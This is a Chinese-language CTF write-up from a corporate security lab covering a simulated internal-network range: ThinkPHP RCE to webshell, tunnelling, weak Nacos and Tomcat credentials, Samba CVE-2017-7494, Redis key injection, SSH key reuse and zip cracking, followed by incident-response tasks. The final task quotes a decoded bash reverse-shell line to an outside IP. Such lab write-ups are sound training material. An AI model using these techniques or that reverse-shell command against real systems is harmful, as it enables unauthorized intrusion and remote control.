本文作者:宇航@涂鸦智能安全实验室
前言
本次比赛使用的环境是内网综合靶场环境,与以往CTF赛事内涉及的纯web不同,本次比赛考察点在于模拟真实环境进行的内网渗透和应急响应。赛制还是挺有意思的。
web
web题目均为对整套环境进行渗透和内网横向,如下:
在横向过程中可获取到flag1~flag10。再对其进行提交即可。
web1
访问系统可知,其为thinkphp
对其进行信息收集,可得到robots.txt,访问可得到flag1
web2
前期进行信息收集可知道其使用的thinkphp,尝试使用其rce漏洞进行利用:
直接进行webshell写入,在根目录访问文件拿到flag2
此时获取到入口机器权限后,可进行命令执行并对内网进行扫描,但大部分命令无法回显,例如ifconfig等均无法回显,原因是docker环境,对于这些命令没有进行安装。此时可利用查看hosts文件的技巧进行ip地址信息收集
可获取到内网ip 192.168.xx.23,对xx段进行扫描,机器禁ping,需要使用-np命令
最终扫描192.168.xx段,得到以上结果。由于入口机器大部分命令无法执行,且不知其是否出网,因此采用了Neo-reGeorg进行正向代理。
web3
根据扫描的结果,我们可以看到存在nacos。在内网渗透中,nacos常用于配置文件的存储,往往能发现大量账号密码。直接进行访问,可采用弱口令nacos/nacos进行登录
登陆后可看到flag3
同时我们还可信息收集得到以下账号和密码
admin/*****3qwe
admin/*****3qwe!@#
web4
利用前期收集到的口令admin/*****3qwe,成功登录tomcat后台
对后台进行war包部署getshell,可获取到flag4
web5
利用前期收集到的口令admin/*****3qwe!@#对内网进行撞库,可获取到一台ssh权限:
登录可获取flag5
web6
由于web5获取到的只是admin权限,我们可以尝试使用sudo su 提权获取到系统root权限
获取到flag6
web7
扫描结果中存在一个445端口,该端口为是linux的samba服务,使用is_known_pipename模块相关漏洞CVE-2017-7494直接进行利用即可
成功获取到root权限,并获取到flag7
web8
在扫描结果中,还存在一个redis未授权,可利用mdut直接进行linux公钥写入
接着我们再用私钥进行连接可获取到flag8
web9
在web7中获取到的权限,查看history历史命令记录中可发现还存在一个ssh密钥
我们利用该密钥可成功登录扫描结果中从未拿下的一台机器192.168.xx.99
可获取到flag9
并拿到了secret.zip
web10
对secret.zip进行爆破:
可爆破得到密码laptop,打开获取到flag10
应急响应
应急1
需要找到机器上存在的后门,在入口的点webshell上发现预留的木马文件:
密码为DAS
应急2
利用权限绕过漏洞,获取到nacos系统存在的用户dasctftest
应急3
在tomcat机器上找到预留的后门文件,dasctfshell.jsp
应急4
在tomcat机器上找到预留反弹shell命令:
历史命令解密后:bash -i >& /dev/tcp/116.xx.xx.129/8888 0>&1
漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。